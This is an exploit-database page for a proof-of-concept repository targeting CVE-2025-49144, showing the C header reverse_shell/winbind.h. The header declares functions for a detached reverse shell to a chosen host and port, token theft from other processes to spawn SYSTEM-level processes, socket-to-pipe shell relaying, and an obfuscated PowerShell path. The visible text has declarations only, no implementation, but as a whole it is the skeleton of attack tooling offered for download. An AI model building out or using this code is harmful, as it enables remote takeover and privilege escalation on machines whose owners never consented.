Exploit database

GH-35f3f8436d35a41918bdb8bf82aaf0cd

vr00mm/cve-2025-49144

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-49144

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9
vr00mm/cve-2025-49144Revision 02c38606eab5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

reverse_shell/winbind.h

Text · 1,652 bytes
#ifndef WINBIND_H
#define WINBIND_H

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// === SECURITY CONSTANTS ===
#define MAX_PROCESSES_TO_CHECK 1000       // Limit process enumeration
#define MAX_RETRY_ATTEMPTS 100            // Limit retry attempts
#define THREAD_TIMEOUT_MS 5000            // Thread cleanup timeout
#define BUFFER_SIZE 4096                  // Safe buffer size

// === THREAD DATA STRUCTURE ===
typedef struct {
    HANDLE pipe;
    SOCKET socket;
    HANDLE process;
    volatile LONG* shouldStop;
} THREAD_DATA;

// === MAIN API FUNCTIONS ===
int runDetachedReverseShell(const char* host, int port);
int executeDetachedShell(const char* host, int port);

// === SOCKET FUNCTIONS (socket.c) ===
SOCKET createReverseConnection(const char* host, int port);

// === TOKEN/PROCESS FUNCTIONS (process.c) ===
HANDLE getToken(DWORD pid);
char* getProcessUserName(DWORD pid);
BOOL createProcessWithPipes(HANDLE token, LPCWSTR app, LPCWSTR args, HANDLE* hStdin, HANDLE* hStdout, HANDLE* hStderr, HANDLE* hProcess);
int createSystemProcess(LPCWSTR appPath, LPCWSTR args, HANDLE* hStdin, HANDLE* hStdout, HANDLE* hStderr, HANDLE* hProcess);

// === THREAD FUNCTIONS (threads.c) ===
DWORD WINAPI socketToPipeThread(LPVOID p);
DWORD WINAPI pipeToSocketThread(LPVOID p);

// === UTILITY FUNCTIONS (utils.c) ===
BOOL isValidHost(const char* host);
BOOL isValidPort(int port);
BOOL checkRateLimit(void);

// === SHELL HANDLER (shell.c) ===
int handleReverseShell(SOCKET sock);

wchar_t* build_obfuscated_powershell_path(void);

#endif // WINBIND_H